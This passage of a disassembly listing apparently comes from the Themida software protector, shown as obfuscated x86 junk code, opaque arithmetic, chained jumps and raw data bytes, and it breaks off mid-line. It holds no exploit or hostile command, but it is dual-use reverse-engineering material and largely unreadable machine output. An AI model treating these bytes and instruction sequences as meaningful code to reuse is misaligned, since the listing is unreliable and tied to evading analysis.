--------------------------------------------------------------------------- loc_55E025: ; CODE XREF: Themida_:005663A6j add ebx, esi jmp loc_557EAB ; --------------------------------------------------------------------------- aZs2z db 'ZИ2z',0 align 2 loc_55E032: ; CODE XREF: Themida_:0055ED54j mov eax, 4 add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] mov esp, [esp] push 227Ah mov [esp], ebx jmp loc_556FEF ; --------------------------------------------------------------------------- db 81h dd 3403D6EAh, 0EC08E943h, 0C281FFFFh, 6A29243Bh, 4AFFEA83h dd 3ABA5253h, 89A66AD2h, 0DA015AD3h, 4D6EE95Bh, 895EFFFFh dd 0EA815DEAh, 6B953871h, 0C281EA01h, 6B953871h, 4868565Dh dd 5E6E9379h, 7D13E9h, 0B6CB8100h, 0F7721528h, 0F5C381DBh dd 0E9330524h, 0FFFFDB2Fh, 4C4835Eh, 51233405h, 4EC837Ah dd 0BA241489h, 2DE85AC6h, 9D2F282Dh, 3A792D23h, 0A0E92A35h dd 80FFFF9Ch, 0E3C0FFEBh, 53C38003h, 66A368h, 24048900h dd 4AA96852h, 4890000h, 88DC8824h, 0F48858E6h, 0F7E9535Ah db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E0F7: ; CODE XREF: Themida_:00566547j pop ebp push eax jmp loc_55B6F0 ; --------------------------------------------------------------------------- loc_55E0FE: ; CODE XREF: Themida_:0055EEC5j pop esi add eax, ecx sub eax, 36E845DAh add eax, 55EA3CABh mov ecx, [esp] push 5A09h mov [esp], edi push esp jmp loc_55359A ; --------------------------------------------------------------------------- dd 0FF4BA2E9h, 0BF5751FFh, 0EE741C2h, 8AE9h, 8BCE0100h dd 0C481240Ch, 4, 8704EE83h, 0A2E92434h, 1FFFFE9h, 91BA52D0h dd 4A1FE529h, 0FF7335E9h, 0BAC381FFh, 0E9E9CBFEh, 0FFFF5989h dd 1E2751B9h, 3988E961h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E166: ; CODE XREF: Themida_:005624B0j sub ch, 0DBh mov bh, ch pop ecx add bh, 23h xor bh, 0ACh sub al, bh jmp loc_55E825 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0E930FF66h, 0FFFF4B3Fh, 15FF889h, 0E86858C7h, 0E900005Ah dd 715Ch dword_55E194 dd 0FF3C77FFh, 34FF2434h ; DATA XREF: Themida_:00552AD4o db 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_560FD9 ; --------------------------------------------------------------------------- dw 0EA29h dd 6AB5E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1AE: ; CODE XREF: Themida_:00559616j pop ebx shl ebx, 2 jmp loc_55563A ; --------------------------------------------------------------------------- db 81h dd 0F0F983C7h, 5FF98963h, 59E9CA31h, 8B00006Fh, 8956240Ch dd 4C681E6h, 68000000h, 665Ch, 57240C89h, 8278E9h, 242C8B00h dd 4C481h, 0EE010000h, 5E63E95Dh, 0BB53FFFFh, 7A512334h dd 0FFE454E9h, 242489FFh, 4240481h, 5F000000h, 69CE68h dd 0C208E900h, 0E953FFFFh, 0FFFF8827h, 0D587D2F7h, 0FFD84AE9h dd 241C8BFFh, 5704C483h, 98E9E789h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E22F: ; CODE XREF: Themida_:0055502Dj neg edi and edi, 2A9A7625h jmp loc_565CD6 ; --------------------------------------------------------------------------- loc_55E23C: ; CODE XREF: Themida_:00562B50j mov esp, [esp] mov [esp], eax push dword ptr [esp] pop edx add esp, 4 jmp loc_552CC3 ; --------------------------------------------------------------------------- loc_55E251: ; CODE XREF: Themida_:00566B14j xchg ecx, esi xchg ebp, ecx not ebp push ecx push 881h jmp loc_56753D ; --------------------------------------------------------------------------- dw 0C829h dd 0D0015E59h, 3225E957h, 0E9800000h, 85F180FEh, 0E95CE180h dd 944Dh, 4BFh, 5EC58100h, 29343359h, 5EED81FDh, 0E9343359h dd 0FFFF6FB6h, 9C243CD2h, 0FF4A26E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E29D: ; CODE XREF: Themida_:0055CEB6j add ecx, edi add ecx, 4E212381h push 7108h mov [esp], eax jmp loc_555460 ; --------------------------------------------------------------------------- dw 0F131h dd 0FFCB015Eh, 8FE92434h, 89FFFF80h, 0E2C159CAh, 8312E902h dd 0F4E90000h, 45FFFF49h, 4644B951h, 0CD096640h, 455BE959h dd 0D7F70000h, 0FFF34CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E2E5: ; CODE XREF: Themida_:0055346Ej sub eax, 1E346BE9h add eax, edi add eax, 1E346BE9h push ebx mov ebx, 4D06791Dh add eax, ebx pop ebx pop edi and ecx, eax push dword ptr [esp] pop eax jmp loc_55BC6C ; --------------------------------------------------------------------------- loc_55E306: ; CODE XREF: Themida_:0056135Cj mov edi, 168AD69Ah sub ebx, edi pop edi add ecx, ebx pop ebx sub ecx, 64AA44E4h add ecx, edi jmp loc_556CE1 ; --------------------------------------------------------------------------- dw 0C8Bh aSv db '$И╒[',0 align 2 dw 3433h dd 24343124h, 8B2434FFh, 0B0E92434h, 83000050h, 2C8904ECh dd 2853BD24h, 0C5816543h, 1D404F9Bh, 0EDC1D5F7h, 0E9D5F702h dd 0FFFF5865h, 33241C31h, 248B241Ch, 24148924h, 1F0368h dd 48F5400h, 24048324h, 2434FF04h, 8124148Bh, 4C4h, 0E1895100h dd 4C181h, 0C1830000h, 240C8704h, 0FF6A2FE9h, 243489FFh dd 4BEh, 24448100h, 800E604h, 24740110h, 246C8104h, 800E604h dd 24348B10h, 9530E9h db 0 ; --------------------------------------------------------------------------- loc_55E3B1: ; CODE XREF: Themida_:00565F6Dj not al jmp loc_555105 ; --------------------------------------------------------------------------- dd 1D9C381h, 0FB014F19h, 1D9BD55h, 0EB294F19h, 0C3815F5Dh dd 1, 0F703EBC1h, 7EEB81D3h, 53E84329h, 53240C8Bh, 0C381E389h dd 4, 4C381h, 1C870000h, 5DE2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E3F6: ; CODE XREF: Themida_:00557ABAj push esp pop ebp add ebp, 4 push eax push esi jmp loc_563479 ; --------------------------------------------------------------------------- loc_55E405: ; CODE XREF: Themida_:00563756j push ecx not dword ptr [esp] pop ecx xor ecx, 527C29C8h push eax mov eax, 0B386C96Fh add ecx, 4A10557Ah add ecx, 0A3657C9h sub ecx, eax jmp loc_565195 ; --------------------------------------------------------------------------- db 2 dup(47h), 81h dd 4BF836F7h, 8BFE3161h, 7E9243Ch db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E43B: ; CODE XREF: Themida_:00562E09j mov edx, 4 add ebp, edx jmp loc_557A41 ; --------------------------------------------------------------------------- db 1 dd 0FB0159CBh, 6220E9h db 0 ; --------------------------------------------------------------------------- loc_55E451: ; CODE XREF: Themida_:00566142j xor ebx, 8FF58610h push edx mov edx, 36F958DFh add ebx, edx pop edx add ebx, edi jmp loc_557260 ; --------------------------------------------------------------------------- db 89h dd 0E5815EF5h, 6E2B5108h, 95D0F795h, 0AFFDED81h, 0E901F1FEh dd 74FF515Dh, 8F590424h, 0E95C2404h, 0ADCh, 0D93BE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E492: ; CODE XREF: Themida_:0056671Cj pop ecx jmp loc_55A729 ; --------------------------------------------------------------------------- aJsS db 'JИб▒',0 align 2 dw 595Dh dd 68CD8749h, 6D5h, 0B8240489h, 32FE4A49h, 1B5B635h, 0E9C501CDh dd 1205h, 8124048Bh, 4ECh, 24148900h, 0C2815A54h, 4, 0E904C283h dd 0FFFFDC19h, 6856D831h, 94Eh, 0E9242C89h, 1862h, 2494BF57h dd 0DDE9392Bh, 89FFFFA6h, 0B951242Ch, 775628A7h, 5628ABBDh dd 57ADE977h, 34FFFFFFh, 0EC835E24h, 240C8904h, 0C181E189h dd 4, 0E904C183h, 8BB8h ; --------------------------------------------------------------------------- loc_55E520: ; CODE XREF: Themida_:00567765j mov edi, 4AC4197Eh add ebx, edi pop edi mov edx, [esp] add esp, 4 jmp loc_560E0A ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815924h, 4, 0C3E9CF89h, 83000021h, 66E904ECh, 55000073h dd 0BF4125BDh, 81D5F739h, 0B362A6C5h, 0B8CD8111h, 8100D956h dd 0C54C1EC5h, 3C58133h, 0E9317B52h, 8F6h, 4EC8158h, 89000000h dd 4B82404h, 1000000h, 48E958C7h, 8100004Eh, 0D63C61F3h dd 0AAF38147h, 31058D6Bh, 0FB315BDFh, 0FF742FE9h, 24248BFFh dd 50241489h, 4715E99Ch, 8950FFFFh, 405E0h, 4050000h, 0E9000000h dd 0FFFFB16Dh, 0E958585Dh, 480Fh ; --------------------------------------------------------------------------- loc_55E5C8: ; CODE XREF: Themida_:00558DBCj sub dword ptr [esp+4], 41849A3h jmp loc_55AAB1 ; --------------------------------------------------------------------------- aSW db 'S╥$╤W',0 db 0FEh dd 5AF0285Bh, 492CF904h, 1F28E9h, 243C8900h, 7943E9h db 0 ; --------------------------------------------------------------------------- loc_55E5F1: ; CODE XREF: Themida_:00560B4Aj mov [esp], ecx jmp loc_552FCB ; --------------------------------------------------------------------------- loc_55E5F9: ; CODE XREF: Themida_:0055FD45j mov edi, 5E124F32h sub edi, ecx pop ecx sub ecx, edi pop edi xor ecx, [esp] jmp loc_5554F6 ; --------------------------------------------------------------------------- aSsY db ')ИИ╧Y',0 db 0 ; --------------------------------------------------------------------------- loc_55E613: ; CODE XREF: Themida_:00554C03j mov ebp, [esp] push ebx push esp jmp loc_561ADB ; --------------------------------------------------------------------------- db 5Ch, 89h, 1Ch dd 0F8E95224h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E627: ; CODE XREF: Themida_:00562966j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_558323 ; --------------------------------------------------------------------------- dd 717ECE81h, 0C6814D83h, 909693AAh, 595EF329h, 355BD831h dd 0A0221FF5h, 58204789h, 7E1EE9h, 3EAC000h, 0E9C8B151h dd 0FFFFFC06h, 0F87E7125h, 3B04253Bh, 0E0254FA0h, 527E0223h dd 7B5FADBAh, 0E2C14A6Bh, 81DAF703h, 0D04BDEEAh, 2BB7E95Eh dd 0EA830000h, 24148704h, 241C895Ch, 2803E9h, 0FF565800h dd 8B042474h, 0C4832434h, 24048F04h, 5024248Bh, 8395E9h dd 242C8900h, 529268h, 241C8900h, 0C47A8968h, 241C8B11h dd 4C481h, 55E90000h, 81FFFF78h, 4C4h, 0E9535B00h, 0FFFF924Eh dd 81240C8Bh, 4C4h, 5B525F00h, 3FB015Ah, 2434FF03h, 0FFF208E9h dd 511A2DFFh, 34FF0C8Eh, 0E9505E24h, 3212h, 0D443BF57h dd 46E9CF96h, 5BFFFF7Bh, 148BD709h, 4C48324h, 62C78147h dd 89B619A3h, 243C8BFDh, 4C481h, 8E90000h, 83000007h, 0C8904ECh dd 46824h, 0E9590000h, 8024h, 0D0F7D0F7h, 721DE9h, 4E95F00h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E753: ; CODE XREF: Themida_:0055C59Fj add edx, eax jmp loc_56152B ; --------------------------------------------------------------------------- dw 895Bh dd 242C8BE9h, 2104C483h, 0B85059CBh, 1A623BA0h, 6EE95148h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E773: ; CODE XREF: Themida_:0055C634j xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push dword ptr [edi+eax*4] add dword ptr [esp], 5447668h jmp loc_55A920 ; --------------------------------------------------------------------------- loc_55E78C: ; CODE XREF: Themida_:00554997j mov ecx, 2CD2239Ah shr ecx, 7 shr ecx, 5 shl ecx, 7 shr ecx, 6 add ecx, 0FFFA65C0h add ebx, ecx pop ecx sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], esi sub esp, 4 jmp loc_567797 ; --------------------------------------------------------------------------- loc_55E7C1: ; CODE XREF: Themida_:0056074Cj push dword ptr [esp] jmp loc_553362 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFCBEAE9h, 5AF388FFh, 8002EBC0h, 0EB8001EBh, 4EC819Eh dd 89000000h, 0EC682404h, 89000042h, 0DD88240Ch, 0FFE9EC88h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E7F7: ; CODE XREF: Themida_:0055B2ECj and ebx, 7D7D30D0h add ebx, 1ED83AF5h push esi mov esi, 9DE154Ch sub ebx, esi mov esi, [esp] add esp, 4 and ebx, 297951A5h push ecx mov ecx, 9B42CDCh jmp loc_554E16 ; --------------------------------------------------------------------------- loc_55E825: ; CODE XREF: Themida_:0055E174j pop ebx mov bx, [esp] jmp loc_5657C8 ; --------------------------------------------------------------------------- loc_55E82F: ; CODE XREF: Themida_:00565DA7j mov esi, edx pop edx jmp loc_55C558 ; --------------------------------------------------------------------------- db 87h dd 665C2404h, 68241489h, 5F00h, 50240C89h, 5BE995B0h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E84F: ; CODE XREF: Themida_:00557BE5j pop eax push 7339h jmp loc_558C08 ; --------------------------------------------------------------------------- loc_55E85A: ; CODE XREF: Themida_:005558EFj add esp, 4 pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] or eax, eax jmp loc_5530AB ; --------------------------------------------------------------------------- db 2 dup(58h), 0Fh dd 34FFC0B6h, 0F6D7E987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E88A: ; CODE XREF: Themida_:0055FB3Aj xchg ebx, [esp] pop esp mov [esp], eax jmp loc_561738 ; --------------------------------------------------------------------------- loc_55E896: ; CODE XREF: Themida_:00559AF8j mov ebx, 2C236E61h mov ecx, ebx pop ebx push ebp push esi push 219E4907h pop esi push esi not dword ptr [esp] pop esi neg esi sub esi, 0F57ADAA8h mov ebp, esi mov esi, [esp] add esp, 4 xor ecx, ebp jmp loc_55B2AE ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 0FF8E68E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E8CD: ; CODE XREF: Themida_:0055B495j pop ebx sub edx, eax push esi mov esi, 23D53C15h add edx, esi mov esi, [esp] add esp, 4 pop eax jmp loc_557070 ; --------------------------------------------------------------------------- db 0F6h dd 0E9C2FED2h, 0FFFFFD6Dh, 83242C8Bh, 0CB8104C4h, 36A0278Ah dd 132CB951h, 0C9817B9Fh, 736B6780h, 3FB0C981h, 0C1810245h dd 0FFE4AC18h, 8159CB31h, 1EBh, 7E3C100h, 0C3EEB81h, 8DE96335h dd 5000062h, 0E4ED68DEh, 0B858C589h, 9618BBA3h, 0FF773FE9h dd 5AB6B9FFh, 78E91F17h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E947: ; CODE XREF: Themida_:00561B56j add ebx, 1C2669DBh add ebx, 369736EAh push eax mov eax, 1D6647ECh jmp loc_560F82 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 31241433h, 14332414h, 24248B24h, 68C8BE0Fh, 3695h dd 0E9240C89h, 0FFFF4343h, 8104C483h, 6C60E2C3h, 81FB016Fh dd 6C60E2EBh, 2434FF6Fh, 0AD00E95Fh, 0C1FEFFFFh, 80FCC180h dd 0E1C0FBE1h, 27E95006h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E9AB: ; CODE XREF: Themida_:005533DEj xchg ebp, [esp] pop esp mov [esp], esi jmp loc_553532 ; --------------------------------------------------------------------------- db 0F7h dd 4EC83DBh, 0BD242C89h, 6AA36E5Eh, 4AE0C581h, 1E95CFEh dd 0BE00008Fh, 8576461h, 0FFC1A7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E9D9: ; CODE XREF: Themida_:00563E70j xor edi, esi pop esi jmp loc_560801 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E7895724h, 0FFD928E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E9ED: ; CODE XREF: Themida_:00567315j shl edi, 1 shl edi, 2 push edx mov edx, 44B07903h xor edi, edx pop edx sub ebp, edi pop edi push ecx mov ecx, 5A8C4733h inc ecx neg ecx xor ecx, 0A59B5617h sub ebp, ecx pop ecx shr ebp, 2 or ebp, 0A956E7Dh push 6908h mov [esp], eax jmp loc_5632DE ; --------------------------------------------------------------------------- dw 5359h dd 0FF44E9E9h, 6C29B9FFh, 81E930FEh db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EA37: ; CODE XREF: Themida_:005584AFj pop ebx add ebx, 4 push 7339h jmp loc_55DCDB ; --------------------------------------------------------------------------- loc_55EA48: ; CODE XREF: Themida_:0055D3CCj pop esp push edx mov edx, 0 push 0B86h mov [esp], esi mov esi, 5AF85666h jmp loc_556B3C ; --------------------------------------------------------------------------- loc_55EA61: ; CODE XREF: Themida_:0055CA4Fj push eax mov eax, 4 add ebx, eax pop eax push ebx push dword ptr [esp+4] jmp loc_561224 ; --------------------------------------------------------------------------- loc_55EA74: ; CODE XREF: Themida_:005557ABj xchg esi, edi pop esi add edi, 3E1E1612h mov ebx, edi mov edi, [esp] add esp, 4 add ebx, edi push dword ptr [ebx] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_55F4DF ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 31241C33h, 1C33241Ch, 24248B24h, 0FF6E70E9h, 81DAF7FFh dd 497101C2h, 797BE916h, 6852FFFFh, 31B02BE0h, 0CCEA815Ah dd 89EA48E7h, 7FBA5AD3h, 81CD0308h, 9D58D3C2h, 55DA0125h dd 6E0FE9h, 2434FF00h, 4C4815Dh, 68000000h, 5E8Ch, 54240489h dd 582434FFh, 8104C483h, 4ECh, 24348900h, 4D2BE9h, 242C8700h dd 0D324248Bh, 0E99C242Ch, 0FFFF41A7h, 88D08850h, 8B595801h dd 0A2E9241Ch, 0FFFFFF56h, 0CFE92434h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EB33: ; CODE XREF: Themida_:00560123j pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55AC3E ; --------------------------------------------------------------------------- dw 0D768h dd 0E900005Fh, 38C8h, 4244481h, 7B0555CCh, 0FFEB74E9h dd 2424D3FFh, 4161E99Ch, 46BEFFFFh, 94EF553h, 24348BF7h dd 0FFF443E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EB71: ; CODE XREF: Themida_:0055D0AAj sub ebx, edi pop edi shr ebx, 4 jmp loc_55CFD8 ; --------------------------------------------------------------------------- loc_55EB7C: ; CODE XREF: Themida_:00558C42j push ebp mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] jmp loc_55C5A4 ; --------------------------------------------------------------------------- dword_55EB90 dd 9D1C77FFh, 14D25966h, 24E99C24h ; DATA XREF: Themida_:00552BA8o db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB9F: ; CODE XREF: Themida_:00562381j push edi mov edi, 474377Fh sub [esp+8], edi pop edi add dword ptr [esp+4], 76F47C8Fh sub esp, 4 jmp loc_55D516 ; --------------------------------------------------------------------------- db 81h, 0E7h, 0EEh dd 0F720105Bh, 6646E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EBCA: ; CODE XREF: Themida_:00558811j mov edx, 0E37BEF2Fh xor ecx, edx jmp loc_557270 ; --------------------------------------------------------------------------- dw 0F987h dd 1C181h, 0BD550000h, 227065B3h, 0EDC1DDF7h, 3EDC105h dd 0E581EDD1h, 0C9C31A3h, 7A14F581h, 0C5835D69h, 0B0E58101h dd 81234F62h, 402A55F5h, 4CED811Ch, 0E97F597Fh, 0FFFFE49Bh dd 4B951h, 0B5E90000h, 2DFFFFA0h, 16A72FF8h, 8DE5E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC2A: ; CODE XREF: Themida_:0055B6EBj push dword ptr [esp] pop eax jmp loc_5580CB ; --------------------------------------------------------------------------- loc_55EC33: ; CODE XREF: Themida_:0055DA4Bj pop edi jmp loc_55A71E ; --------------------------------------------------------------------------- loc_55EC39: ; CODE XREF: Themida_:00553E08j mov [esp], bx jmp loc_553593 ; --------------------------------------------------------------------------- loc_55EC42: ; CODE XREF: Themida_:0055D70Cj pop ebp and eax, edi mov edi, [esp] add esp, 4 or edx, eax shl edx, 1 push 1FC3h jmp loc_563F1B ; --------------------------------------------------------------------------- dd 5124148Bh, 0B850E189h, 34533CE0h, 3CDB2D48h, 0C1013453h dd 4C18358h, 5C240C87h, 0C8BEF88h, 30E95524h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC83: ; CODE XREF: Themida_:00555DD5j push edi mov edi, 26672971h add edi, 0E595BD42h add eax, edi pop edi jmp loc_564576 ; --------------------------------------------------------------------------- db 81h dd 0D5F009EEh, 5EF529B2h, 55DE801h, 326C7247h, 472DD829h dd 0E9326C72h, 7371h, 463968h, 24048900h, 0FF8807E9h db 0FFh byte_55ECC1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552A68o aSK db '$ИкK',0 align 2 dw 0C483h dd 2DEF8004h, 6D5EE9h db 0 byte_55ECD5 db 0FFh, 74h, 24h ; DATA XREF: Themida_:00552A0Co dd 2434FF04h, 0E924048Bh, 35D2h, 4BFh, 8A36E900h, 5954FFFFh dd 4C181h, 0E9560000h, 4C48h, 0CCE95351h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ED03: ; CODE XREF: Themida_:00560EE6j add eax, esi push edx mov edx, 3B6B745Bh xor edx, 317177BEh add eax, 61437F56h add eax, edx jmp loc_552D93 ; --------------------------------------------------------------------------- align 2 dw 59E8h dd 0CEC8E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ED26: ; CODE XREF: Themida_:0055CCAEj push ebx mov ebx, 4C6526E4h xor ebx, 4EB97B3Ah and ebx, 28A56653h shl ebx, 4 push eax push ebx push edi mov edi, 72FA5D9Dh neg edi jmp loc_55B925 ; --------------------------------------------------------------------------- loc_55ED4A: ; CODE XREF: Themida_:00555515j mov ecx, esp push 0BFAh mov [esp], eax jmp loc_55E032 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 47768h, 242C8900h, 8381E9h, 0E95A5800h, 0FFFFB85Dh dd 6E2C15Bh, 1CB3EA81h, 0B8500F1Ah, 70D06D16h, 0F117235h dd 25E8D125h, 38173D3Bh, 0C105E0C1h, 0E62D08E8h, 354BE523h dd 3754B889h, 158C231h, 8FE95AD0h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDA7: ; CODE XREF: Themida_:00554AF6j add ecx, edx pop edx xchg ecx, [esp] pop esp jmp loc_554237 ; --------------------------------------------------------------------------- db 1 dd 0F059E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDBA: ; CODE XREF: Themida_:00558603j sub ecx, ebp pop ebp push 110Ch mov [esp], ebx sub esp, 4 mov [esp], edx mov dl, al jmp loc_55D28C ; --------------------------------------------------------------------------- db 1, 0D0h, 5Ah dd 2474FF50h, 48F5804h, 24248B24h, 965E9h db 0 ; --------------------------------------------------------------------------- loc_55EDE9: ; CODE XREF: Themida_:0055BC83j xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 push 1B24h mov [esp], ebx jmp loc_55A6FD ; --------------------------------------------------------------------------- dd 45F4E281h, 0D2F7472Eh, 0FFF8F7E9h, 4C181FFh, 50000000h dd 4B8h, 58C10100h, 5C240C87h, 4EC8156h, 89000000h, 4832424h dd 348B0424h, 14E95624h, 1FFFFE3h, 0E908246Ch, 0FFFFC51Dh dword_55EE44 dd 24048B66h, 81E18951h, 4C1h, 4E98300h, 0E9240C87h, 0FFFF6EFBh ; DATA XREF: Themida_:00552B38o dword_55EE5C dd 24048B66h, 275068h, 6C05E900h, 0EB89FFFFh, 5BD8315Dh ; DATA XREF: Themida_:00552B88o dd 66011705h, 58C709FDh, 420CE781h, 0C78100E6h, 0FF1A0000h dd 7C49ED81h, 0ED815364h, 7E000940h, 692EED81h, 0FD014119h dd 692EC581h, 0EC834119h, 24348904h, 940BEh, 5EF5017Eh dd 1BD3BA52h, 0C7E93329h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EEB7: ; CODE XREF: Themida_:00554C41j mov esi, 1B3A4BEFh dec esi sub esi, 0E4520614h add eax, esi jmp loc_55E0FE ; --------------------------------------------------------------------------- dw 0F65Ah dd 80C9FED1h, 0CC2871C1h, 83240C8Bh, 0E95304C4h, 0FFFFA6C0h ; --------------------------------------------------------------------------- loc_55EEE0: ; CODE XREF: Themida_:0055A119j xchg ebp, [esp] pop esp sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5651FC ; --------------------------------------------------------------------------- dw 0E3C1h dd 6AF38104h, 560D4326h, 0BEh, 87DE2900h, 0F3815EF3h, 86977722h dd 575BD801h, 882A30BFh, 277BE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EF22: ; CODE XREF: Themida_:00555B1Cj shl ebx, 1 shr ebx, 6 dec ebx not ebx push esi mov esi, 23AB40BFh push edi mov edi, 74D91983h jmp loc_55AEF9 ; --------------------------------------------------------------------------- aTzssL db 'TZSИ{L',0 dw 5700h dd 1B8EE9h, 58F28100h, 0C117350Ch, 0F28108E2h, 4C256754h dd 0EA81424Ah, 7D1605F9h, 0E95AD131h, 0FFFF5854h, 0F66F1F6h dd 6866CCB6h, 89661A2Eh, 0F66240Ch, 5166C8B6h, 6C42E99Ch db 2 dup(0) word_55EF82 dw 8B66h ; DATA XREF: Themida_:00552B1Co dd 38E92424h, 83FFFF3Dh, 148904ECh, 0C000B224h, 506602E2h dd 0C2085BB0h, 0EAD05866h, 0C280C2FEh, 6ACDE935h, 0CA00FFFFh dd 8BF7C280h, 0EC81240Ch, 4, 0E9241489h, 0FFFF4058h, 347BED81h dd 0BCE9AC38h, 5BFFFFC9h, 71D0B951h, 8149582Ch, 5B0E31E9h dd 76E98153h, 0C1DFC9EDh, 0E18106E9h, 54CF4487h, 579AE9h dd 3CD1E900h, 0C268FFFFh, 58786539h, 95FBD55h, 0F74D108Fh dd 0F2C9E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F006: ; CODE XREF: Themida_:00563D2Cj add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_556E57 ; --------------------------------------------------------------------------- aPTi1Sks db '[P╦гTI',7,'1еИ╙s',0 align 4 aZ db 'Z',0 dw 5AF1h dd 8B66C828h, 1C68240Ch, 0E9000036h, 3943h, 0FF24248Bh dd 34FF2434h, 89565924h, 4EC81E6h, 0E9000000h, 0FFFFD82Eh dd 0B60F66h, 583068h, 240C8900h, 8904EC83h, 4832424h, 0E9590424h dd 7A46h, 3207F281h, 0D321BF09h, 8124148Bh, 4C4h, 52BF5700h dd 0F724D961h, 0C1DFF7D7h, 554F03EFh, 6F1594BDh, 0E5FCE93Ch dd 0D8F7FFFFh, 0FF4F87E9h, 30FBBBFFh, 0F3293BF1h, 0FFBC8BE9h dd 2434FFFFh, 83242C8Bh, 0E95604C4h, 2ADFh ; --------------------------------------------------------------------------- loc_55F0BC: ; CODE XREF: Themida_:005616CFj and ebx, 7AA20512h sub ebx, 0CE48B5A2h mov edi, ebx pop ebx add [esp+8], edi mov edi, [esp] add esp, 4 jmp loc_566F8B ; --------------------------------------------------------------------------- db 81h, 0E9h, 8Ah dd 0E980FCE9h, 0FFFFDB70h, 33241431h, 248B2414h, 2424D324h dd 3BC9E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F0FA: ; CODE XREF: Themida_:00559473j mov [esp], edx mov dh, 24h or dh, 5Ch xor dh, 0E2h or dh, 7Ch shr dh, 4 jmp loc_55D985 ; --------------------------------------------------------------------------- dd 0E4F2E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F116: ; CODE XREF: Themida_:0055FE0Ej push ebx mov ebx, 72DB0449h or ebx, 3A5D53E1h sub ebx, 1AC47BAFh or ebx, 22D73129h jmp loc_55C666 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF3B8Bh ; --------------------------------------------------------------------------- loc_55F138: ; CODE XREF: Themida_:0055C8DBj xor edx, eax xor eax, edx push 6715h mov [esp], edx sub esp, 4 mov [esp], eax push dword ptr [esp] pop edx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] mov eax, [esp] jmp loc_565A05 ; --------------------------------------------------------------------------- loc_55F16E: ; CODE XREF: Themida_:0055A96Aj add ecx, 4 xchg ecx, [esp] mov esp, [esp] mov esi, [esp] jmp loc_564407 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24348700h, 6B69E95Ch, 3C890000h, 81E78924h, 4C7h dd 6815E900h, 0EC83FFFFh, 0A68BE904h, 0E089FFFFh, 1AB968h dd 618AE900h, 0E953FFFFh, 0FFFF8CA1h ; --------------------------------------------------------------------------- loc_55F1B8: ; CODE XREF: Themida_:00553724j mov [esp], ebx mov bh, 3 jmp loc_5628BA ; --------------------------------------------------------------------------- loc_55F1C2: ; CODE XREF: Themida_:0055C6D2j pop eax push eax push ecx jmp loc_55B709 ; --------------------------------------------------------------------------- a3S db '3<$И╣',8,0 align 2 dw 815Ch dd 70746DE9h, 7AF6E926h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F1DE: ; CODE XREF: Themida_:0055A492j push 7FFBh mov [esp], esi push esp pop esi add esi, 4 jmp loc_55403B ; --------------------------------------------------------------------------- db 0BBh dd 